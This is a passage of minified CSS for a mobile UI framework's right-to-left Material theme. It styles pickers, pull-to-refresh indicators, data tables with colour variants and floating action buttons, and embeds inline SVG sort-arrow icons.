(max-height:415px){.picker:not(.picker-inline){height:200px}}.picker-popover{width:280px}.picker-columns{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;overflow:hidden;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0;text-align:right;height:100%;position:relative;-webkit-mask-box-image:linear-gradient(to top,transparent,transparent 5%,#fff 20%,#fff 80%,transparent 95%,transparent)}.picker-column{position:relative;max-height:100%}.picker-column.picker-column-first:before,.picker-column.picker-column-last:after{height:100%;width:100vw;position:absolute;content:'';top:0}.picker-column.picker-column-first:before{left:100%}.picker-column.picker-column-last:after{right:100%}.picker-column.picker-column-left{text-align:left}.picker-column.picker-column-center{text-align:center}.picker-column.picker-column-right{text-align:right}.picker-column.picker-column-divider{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.picker-items{-webkit-transition:.3s;transition:.3s;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.picker-item{height:36px;line-height:36px;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;left:0;top:0;width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s}.picker-item span{padding:0 10px}.picker-column-absolute .picker-item{position:absolute}.picker-item.picker-item-far{pointer-events:none}.picker-item.picker-item-selected{-webkit-transform:translate3d(0,0,0) rotateX(0);transform:translate3d(0,0,0) rotateX(0)}.picker-center-highlight{height:36px;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;left:0;width:100%;top:50%;margin-top:-18px;pointer-events:none}.picker-3d .picker-columns{overflow:hidden;-webkit-perspective:1200px;perspective:1200px}.picker-3d .picker-column,.picker-3d .picker-item,.picker-3d .picker-items{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.picker-3d .picker-column{overflow:visible}.picker-3d .picker-item{-webkit-transform-origin:center center -110px;transform-origin:center center -110px;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.md .picker-popover .toolbar{border-radius:2px 2px 0 0}.md .picker-columns{font-size:20px}.md .picker-column-divider{color:rgba(0,0,0,.87)}.md .picker-popover .picker>.toolbar+.picker-columns{height:calc(100% - 48px)}.md .picker-center-highlight:before{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .picker-center-highlight:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .picker-center-highlight:after{content:'';position:absolute;background-color:rgba(0,0,0,.15);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .picker-center-highlight:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .picker-center-highlight:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .theme-dark .picker-column-divider{color:rgba(255,255,255,.87)}.md .theme-dark .picker-center-highlight:before{background-color:rgba(255,255,255,.15)}.md .theme-dark .picker-center-highlight:after{background-color:rgba(255,255,255,.15)}.infinite-scroll-preloader{margin-left:auto;margin-right:auto;text-align:center}.infinite-scroll-preloader.preloader{display:block}.md .infinite-scroll-preloader{margin-top:32px;margin-bottom:32px}.ptr-preloader .preloader{position:absolute;left:50%}.md .ptr-preloader{position:absolute;left:50%;top:16px;width:40px;height:40px;border-radius:50%;background:#fff;margin-left:-20px;margin-top:-7px;z-index:100;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}@media (min-width:768px){.md .ptr-preloader{top:24px}}.md .ptr-preloader .preloader{width:22px;height:22px;margin-left:-11px;margin-top:-11px;top:50%;visibility:hidden}.md .ptr-preloader .preloader .preloader-inner-gap,.md .ptr-preloader .preloader .preloader-inner-half-circle{border-width:3px}.md .ptr-arrow{width:22px;height:22px;-webkit-box-sizing:border-box;box-sizing:border-box;border:3px solid #757575;position:absolute;left:50%;top:50%;margin-left:-11px;margin-top:-11px;border-left-color:transparent;border-radius:50%;opacity:1;-webkit-transform:rotate(150deg);transform:rotate(150deg)}.md .ptr-arrow:after{content:'';width:0;height:0;position:absolute;left:-5px;bottom:0;border-bottom-width:6px;border-bottom-style:solid;border-bottom-color:inherit;border-left:5px solid transparent;border-right:5px solid transparent;-webkit-transform:rotate(-40deg);transform:rotate(-40deg)}.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader,.md .ptr-content:not(.ptr-refreshing):not(.ptr-pull-up) .ptr-preloader .preloader *{-webkit-animation:none;animation:none}.md .ptr-pull-up .ptr-preloader .preloader,.md .ptr-refreshing .ptr-preloader .preloader{visibility:visible}.md .ptr-pull-up .ptr-arrow,.md .ptr-refreshing .ptr-arrow{visibility:hidden}.md .ptr-refreshing .ptr-preloader{-webkit-transform:translate3d(0,66px,0);transform:translate3d(0,66px,0)}.md .ptr-transitioning .ptr-arrow{-webkit-transition:.3s;transition:.3s}.md .ptr-pull-up .ptr-arrow{-webkit-transition:.4s;transition:.4s;-webkit-transform:rotate(620deg)!important;transform:rotate(620deg)!important;opacity:0}.md .ptr-refreshing .ptr-preloader,.md .ptr-transitioning .ptr-preloader{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.md .ptr-no-navbar .ptr-preloader{top:auto;bottom:100%;margin-bottom:7px}.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:64px}@media (min-width:768px){.md .page-with-subnavbar .ptr-preloader,.md .searchbar~.ptr-content .ptr-preloader,.md .toolbar:not(.toolbar-bottom-md)~.ptr-content .ptr-preloader{top:72px}}.lazy-loaded.lazy-fade-in{-webkit-animation:lazyFadeIn .6s;animation:lazyFadeIn .6s}@-webkit-keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}@keyframes lazyFadeIn{from{opacity:0}to{opacity:1}}.data-table{overflow-x:auto}.data-table table{width:100%;border:none;padding:0;margin:0;border-collapse:collapse;text-align:right}.data-table thead{font-size:12px}.data-table thead td,.data-table thead th{overflow:hidden;white-space:nowrap;text-overflow:ellipsis;line-height:16px}.data-table thead i.f7-icons,.data-table thead i.icon,.data-table thead i.material-icons{vertical-align:top}.data-table td,.data-table th{padding:0;position:relative}.data-table td.numeric-cell,.data-table th.numeric-cell{text-align:left}.data-table td.checkbox-cell,.data-table th.checkbox-cell{overflow:visible}.data-table td.checkbox-cell label+span,.data-table th.checkbox-cell label+span{margin-right:8px}.data-table td.actions-cell,.data-table th.actions-cell{text-align:left;white-space:nowrap}.card .data-table td a.icon-only,.card .data-table th a.icon-only,.card.data-table td a.icon-only,.card.data-table th a.icon-only,.data-table td a.icon-only,.data-table th a.icon-only{display:inline-block;vertical-align:middle;text-align:center;font-size:0;min-width:0}.card .data-table td a.icon-only i,.card .data-table th a.icon-only i,.card.data-table td a.icon-only i,.card.data-table th a.icon-only i,.data-table td a.icon-only i,.data-table th a.icon-only i{font-size:18px;vertical-align:middle}.data-table .sortable-cell:not(.input-cell){cursor:pointer;position:relative}.data-table .sortable-cell.input-cell .table-head-label{cursor:pointer;position:relative}.data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.data-table .sortable-cell.numeric-cell:not(.input-cell):before,.data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{content:'';display:inline-block;vertical-align:top;width:16px;height:16px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23000000'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E");background-size:100% auto;background-position:center;background-repeat:no-repeat;font-size:0;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:rotate(0);transform:rotate(0);opacity:0}html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active) .table-head-label:hover:before,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:after,html.device-desktop .data-table .sortable-cell:not(.sortable-cell-active):hover:before{opacity:.54}.data-table .sortable-cell.sortable-cell-active .table-head-label:after,.data-table .sortable-cell.sortable-cell-active .table-head-label:before,.data-table .sortable-cell.sortable-cell-active:after,.data-table .sortable-cell.sortable-cell-active:before{opacity:.87!important}.data-table .sortable-cell.sortable-desc:after,.data-table .sortable-cell.sortable-desc:before,.data-table .table-head-label:after,.data-table .table-head-label:before{-webkit-transform:rotate(180deg)!important;transform:rotate(180deg)!important}.card .data-table .card-header,.data-table.card .card-header{height:64px}.card .data-table .card-content,.data-table.card .card-content{overflow-x:auto}.data-table .data-table-actions,.data-table .data-table-links{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-actions{margin-right:auto;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.data-table .data-table-actions a.link{min-width:0}.data-table .data-table-actions a.link.icon-only{line-height:1;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;padding:0}.data-table .data-table-header,.data-table .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;width:100%}.data-table .data-table-header-selected{display:none}.data-table.data-table-has-checked .data-table-header{display:none}.data-table.data-table-has-checked .data-table-header-selected{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.data-table .data-table-title-selected{font-size:14px}.data-table .data-table-footer{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;font-size:12px;overflow:hidden;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.data-table .data-table-pagination,.data-table .data-table-rows-select{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}@media (max-width:480px) and (orientation:portrait){.data-table.data-table-collapsible thead{display:none}.data-table.data-table-collapsible tbody,.data-table.data-table-collapsible td,.data-table.data-table-collapsible tr{display:block}.data-table.data-table-collapsible tr{position:relative}.data-table.data-table-collapsible tr:hover{background-color:inherit}.data-table.data-table-collapsible td{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;text-align:right}.data-table.data-table-collapsible td:before{display:none!important}.data-table.data-table-collapsible td:not(.checkbox-cell):before{width:40%;display:block!important;content:attr(data-collapsible-title);position:relative;height:auto;background:0 0!important;-webkit-transform:none!important;transform:none!important;font-size:12px;margin-left:16px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0}.data-table.data-table-collapsible td.checkbox-cell{position:absolute;top:0;right:0}.data-table.data-table-collapsible td.checkbox-cell+td{padding-right:16px}.data-table.data-table-collapsible td.checkbox-cell~td{margin-right:32px}}.data-table .tablet-landscape-only,.data-table .tablet-only{display:none}@media (min-width:768px){.data-table .tablet-only{display:table-cell}}@media (min-width:768px) and (orientation:landscape){.data-table .tablet-landscape-only{display:table-cell}}.theme-dark .data-table .sortable-cell.numeric-cell.input-cell>.table-head-label:before,.theme-dark .data-table .sortable-cell.numeric-cell:not(.input-cell):before,.theme-dark .data-table .sortable-cell:not(.numeric-cell).input-cell>.table-head-label:after,.theme-dark .data-table .sortable-cell:not(.numeric-cell):not(.input-cell):after{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23fff'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M0%200h24v24H0V0z'%20fill%3D'none'%2F%3E%3Cpath%20d%3D'M20%2012l-1.41-1.41L13%2016.17V4h-2v12.17l-5.58-5.59L4%2012l8%208%208-8z'%20fill%3D'%23fff'%2F%3E%3C%2Fsvg%3E")}.md .data-table thead td,.md .data-table thead th{font-weight:500;height:56px;-webkit-box-sizing:border-box;box-sizing:border-box}.md .data-table thead td:not(.sortable-cell-active),.md .data-table thead th:not(.sortable-cell-active){color:rgba(0,0,0,.54)}.md .data-table thead i.icon,.md .data-table thead i.material-icons{font-size:16px;width:16px;height:16px}.md .data-table tbody{font-size:13px}.md .data-table tbody tr.data-table-row-selected{background:#f5f5f5}.md .data-table tbody td{height:48px}.md .data-table td,.md .data-table th{padding-left:28px;padding-right:28px}.md .data-table td.label-cell,.md .data-table th.label-cell{padding-left:24px;padding-right:24px}.md .data-table td:first-child,.md .data-table th:first-child{padding-right:24px}.md .data-table td:last-child,.md .data-table th:last-child{padding-left:24px}.md .data-table td.checkbox-cell,.md .data-table th.checkbox-cell{width:18px;padding-right:24px;padding-left:12px}.md .data-table td.checkbox-cell+td,.md .data-table td.checkbox-cell+th,.md .data-table th.checkbox-cell+td,.md .data-table th.checkbox-cell+th{padding-right:12px}.md .data-table td.actions-cell a.link,.md .data-table th.actions-cell a.link{color:rgba(0,0,0,.54)}.md .data-table td.actions-cell a.link+a.link,.md .data-table th.actions-cell a.link+a.link{margin-right:24px}.md .data-table td.actions-cell a.icon-only,.md .data-table th.actions-cell a.icon-only{width:24px;height:24px;line-height:24px}.md .sortable-cell:not(.numeric-cell):after{margin-right:8px}.md .sortable-cell.numeric-cell:before{margin-left:8px}.md .card .data-table .card-footer,.md .card .data-table .card-header,.md .data-table.card .card-footer,.md .data-table.card .card-header{padding-right:24px;padding-left:14px}.md .card .data-table .card-footer,.md .data-table.card .card-footer{height:56px}.md .data-table-title{font-size:20px}.md .data-table-actions a.link+a.link,.md .data-table-links a.link+a.link{margin-right:24px}.md .data-table-actions a.link{color:rgba(0,0,0,.54)}.md .data-table-actions a.link.icon-only{width:24px;height:24px;overflow:visible}.md .data-table-actions a.link.icon-only.active-state{background:0 0}.md .data-table .card-header>.data-table-header,.md .data-table .card-header>.data-table-header-selected{padding-right:24px;padding-left:14px;margin-right:-24px;margin-left:-14px;padding-top:4px;padding-bottom:4px;height:100%}.md .data-table-header-selected{background:rgba(33,150,243,.1)}.md .data-table-title-selected{color:#2196f3}.md .data-table tbody td:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table tbody td:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table tbody td:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md.device-desktop .data-table tbody tr:hover{background:#f5f5f5}.md .data-table-footer{height:56px;color:rgba(0,0,0,.54)}.md .data-table-pagination a.link,.md .data-table-rows-select a.link{width:48px;height:48px}.md .data-table-pagination a.link:before,.md .data-table-rows-select a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .data-table-pagination a.link.active-state:before,.md .data-table-rows-select a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .data-table-rows-select+.data-table-pagination{margin-right:32px}.md .data-table-rows-select .input{margin-right:24px}.md .data-table-pagination-label{margin-left:20px}.md .data-table-footer:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-footer:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-footer:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .input-cell{padding-top:8px;padding-bottom:8px;height:auto;vertical-align:top}.md .input-cell .table-head-label+.input{margin-top:4px}.md .input-cell .input{height:24px}.md .input-cell .input input,.md .input-cell .input select,.md .input-cell .input textarea{height:24px;color:#212121;font-size:14px}.md .input-cell .input .input-clear-button{-webkit-transform:scale(.8);transform:scale(.8)}@media (max-width:480px) and (orientation:portrait){.md .data-table.data-table-collapsible td{padding-left:16px;padding-right:16px}.md .data-table.data-table-collapsible td:not(.checkbox-cell):before{color:rgba(0,0,0,.54);font-weight:500;line-height:16px}.md .data-table-collapsible tr:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .data-table-collapsible tr:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .data-table-collapsible tr:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}}.data-table.md .theme-dark .data-table-actions a.link,.data-table.md .theme-dark td.actions-cell a.link,.data-table.md .theme-dark th.actions-cell a.link,.data-table.md .theme-dark thead td:not(.sortable-cell-active),.data-table.md .theme-dark thead th:not(.sortable-cell-active),.md .theme-dark .data-table .data-table-actions a.link,.md .theme-dark .data-table td.actions-cell a.link,.md .theme-dark .data-table th.actions-cell a.link,.md .theme-dark .data-table thead td:not(.sortable-cell-active),.md .theme-dark .data-table thead th:not(.sortable-cell-active){color:rgba(255,255,255,.54)}.data-table.md .theme-dark .data-table-links a.link:before,.md .theme-dark .data-table .data-table-links a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.data-table.md .theme-dark .data-table-links a.link.active-state:before,.md .theme-dark .data-table .data-table-links a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.data-table.md .theme-dark tbody td:before,.md .theme-dark .data-table tbody td:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark.data-table-collapsible tr:before,.md .theme-dark .data-table.data-table-collapsible tr:before{background-color:rgba(255,255,255,.08)}.data-table.md .theme-dark tbody tr.data-table-row-selected,.md .theme-dark .data-table tbody tr.data-table-row-selected{background-color:rgba(255,255,255,.05)}.md.device-desktop .theme-dark .data-table tbody tr:hover,.md.device-desktop .theme-dark.data-table tbody tr:hover{background-color:rgba(255,255,255,.05)}.md .color-theme-red .data-table-header-selected,.md .data-table-header-selected.color-red{background:rgba(244,67,54,.1)}.md .color-red .data-table-title-selected,.md .color-theme-red .data-table-title-selected{color:#f44336}.md .color-theme-green .data-table-header-selected,.md .data-table-header-selected.color-green{background:rgba(76,175,80,.1)}.md .color-green .data-table-title-selected,.md .color-theme-green .data-table-title-selected{color:#4caf50}.md .color-theme-blue .data-table-header-selected,.md .data-table-header-selected.color-blue{background:rgba(33,150,243,.1)}.md .color-blue .data-table-title-selected,.md .color-theme-blue .data-table-title-selected{color:#2196f3}.md .color-theme-pink .data-table-header-selected,.md .data-table-header-selected.color-pink{background:rgba(233,30,99,.1)}.md .color-pink .data-table-title-selected,.md .color-theme-pink .data-table-title-selected{color:#e91e63}.md .color-theme-yellow .data-table-header-selected,.md .data-table-header-selected.color-yellow{background:rgba(255,235,59,.1)}.md .color-theme-yellow .data-table-title-selected,.md .color-yellow .data-table-title-selected{color:#ffeb3b}.md .color-theme-orange .data-table-header-selected,.md .data-table-header-selected.color-orange{background:rgba(255,152,0,.1)}.md .color-orange .data-table-title-selected,.md .color-theme-orange .data-table-title-selected{color:#ff9800}.md .color-theme-gray .data-table-header-selected,.md .data-table-header-selected.color-gray{background:rgba(158,158,158,.1)}.md .color-gray .data-table-title-selected,.md .color-theme-gray .data-table-title-selected{color:#9e9e9e}.md .color-theme-white .data-table-header-selected,.md .data-table-header-selected.color-white{background:rgba(255,255,255,.1)}.md .color-theme-white .data-table-title-selected,.md .color-white .data-table-title-selected{color:#fff}.md .color-theme-black .data-table-header-selected,.md .data-table-header-selected.color-black{background:rgba(0,0,0,.1)}.md .color-black .data-table-title-selected,.md .color-theme-black .data-table-title-selected{color:#000}.fab{position:absolute;z-index:1500}.fab-buttons a,.fab>a{position:relative;-webkit-transition-duration:.3s;transition-duration:.3s;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;overflow:hidden;z-index:1}.fab>a i{position:absolute;left:50%;top:50%;-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);-webkit-transition:.3s;transition:.3s}.fab>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(-90deg) scale(.5);opacity:0}.fab[class*=fab-center]{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.fab[class*=left-center],.fab[class*=right-center]{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.fab[class*=center-center]{top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%)}.fab div.fab-buttons a{width:40px;height:40px}.fab-buttons{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;visibility:hidden;pointer-events:none;position:absolute}.fab-buttons a{opacity:0}.fab-opened:not(.fab-morph)>a i{-webkit-transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);transform:translate3d(-50%,-50%,0) rotate(90deg) scale(.5);opacity:0}.fab-opened:not(.fab-morph)>a i+i{-webkit-transform:translate3d(-50%,-50%,0) rotate(0) scale(1);transform:translate3d(-50%,-50%,0) rotate(0) scale(1);opacity:1}.fab-opened .fab-buttons{visibility:visible;pointer-events:auto}.fab-opened .fab-buttons a{opacity:1;-webkit-transform:translate3d(0,0,0) scale(1)!important;transform:translate3d(0,0,0) scale(1)!important}.fab-opened .fab-buttons a:nth-child(2){-webkit-transition-delay:50ms;transition-delay:50ms}.fab-opened .fab-buttons a:nth-child(3){-webkit-transition-delay:.1s;transition-delay:.1s}.fab-opened .fab-buttons a:nth-child(4){-webkit-transition-delay:150ms;transition-delay:150ms}.fab-opened .fab-buttons a:nth-child(5){-webkit-transition-delay:.2s;transition-delay:.2s}.fab-opened .fab-buttons a:nth-child(6){-webkit-transition-delay:250ms;transition-delay:250ms}.fab-buttons-bottom,.fab-buttons-top{left:50%;width:40px;margin-left:-20px}.fab-buttons-top{bottom:100%;margin-bottom:16px;-webkit-box-orient:vertical;-webkit-box-direction:reverse;-webkit-flex-direction:column-reverse;-ms-flex-direction:column-reverse;flex-direction:column-reverse}.fab-buttons-top a{-webkit-transform:translate3d(0,8px,0) scale(.3);transform:translate3d(0,8px,0) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-top a+a{margin-bottom:16px}.fab-buttons-bottom{top:100%;margin-top:16px;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.fab-buttons-bottom a{-webkit-transform:translate3d(0,-8px,0) scale(.3);transform:translate3d(0,-8px,0) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-bottom a+a{margin-top:16px}.fab-buttons-left,.fab-buttons-right{top:50%;height:40px;margin-top:-20px}.fab-buttons-left{right:100%;margin-right:16px}.fab-buttons-left a{-webkit-transform:translate3d(8px,0,0) scale(.3);transform:translate3d(8px,0,0) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-buttons-left a+a{margin-right:16px}.fab-buttons-right{left:100%;margin-left:16px;-webkit-box-orient:horizontal;-webkit-box-direction:reverse;-webkit-flex-direction:row-reverse;-ms-flex-direction:row-reverse;flex-direction:row-reverse}.fab-buttons-right a{-webkit-transform:translate3d(-8px,0,0) scale(.3);transform:translate3d(-8px,0,0) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-right a+a{margin-left:16px}.fab-buttons-center{left:0;top:0;width:100%;height:100%}.fab-buttons-center a{position:absolute}.fab-buttons-center a:nth-child(1){left:50%;margin-left:-20px;bottom:100%;margin-bottom:16px;-webkit-transform:translateY(-8px) scale(.3);transform:translateY(-8px) scale(.3);-webkit-transform-origin:center bottom;transform-origin:center bottom}.fab-buttons-center a:nth-child(2){left:100%;margin-top:-20px;top:50%;margin-left:16px;-webkit-transform:translateX(-8px) scale(.3);transform:translateX(-8px) scale(.3);-webkit-transform-origin:left center;transform-origin:left center}.fab-buttons-center a:nth-child(3){left:50%;margin-left:-20px;top:100%;margin-top:16px;-webkit-transform:translateY(8px) scale(.3);transform:translateY(8px) scale(.3);-webkit-transform-origin:center top;transform-origin:center top}.fab-buttons-center a:nth-child(4){right:100%;margin-top:-20px;top:50%;margin-right:16px;-webkit-transform:translateX(8px) scale(.3);transform:translateX(8px) scale(.3);-webkit-transform-origin:right center;transform-origin:right center}.fab-opened.fab-morph>a i{opacity:0}.fab-morph,.fab-morph-target,.fab-morph>a{-webkit-transition-duration:250ms;transition-duration:250ms}.fab-morph-target:not(.fab-morph-target-visible){display:none}.fab-extended{width:auto}.fab-extended>a{width:100%!important}.fab-text{padding-left:20px;padding-right:20px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px;text-transform:uppercase}.fab-label-button{overflow:visible!important}.fab-label{position:absolute;top:50%;padding:4px 12px;border-radius:4px;background:#fff;color:#333;white-space:nowrap;-webkit-transform:translateY(-50%);transform:translateY(-50%);pointer-events:none}.fab[class*=fab-right-] .fab-label{right:100%;margin-right:8px}.fab[class*=fab-left-] .fab-label{left:100%;margin-left:8px}.md .fab-buttons a,.md .fab>a{background:#2196f3;width:56px;height:56px;border-radius:28px;color:#fff;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-buttons a.active-state,.md .fab>a.active-state{background:#0c82df}.md .fab[class*=fab-left]{left:15px}.md .fab[class*=fab-right]{right:15px}.md .fab[class*="-top"]{top:15px}.md .fab[class*="-bottom"]{bottom:15px}.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:56px}@media (min-width:768px){.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:64px}}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:48px}.md .tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:72px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:104px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:128px}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:112px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:136px}}.md .messagebar~* .fab[class*="-bottom"],.md .messagebar~.fab[class*="-bottom"],.md .toolbar-bottom-md~* .fab[class*="-bottom"],.md .toolbar-bottom-md~.fab[class*="-bottom"]{margin-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .fab[class*="-bottom"],.md 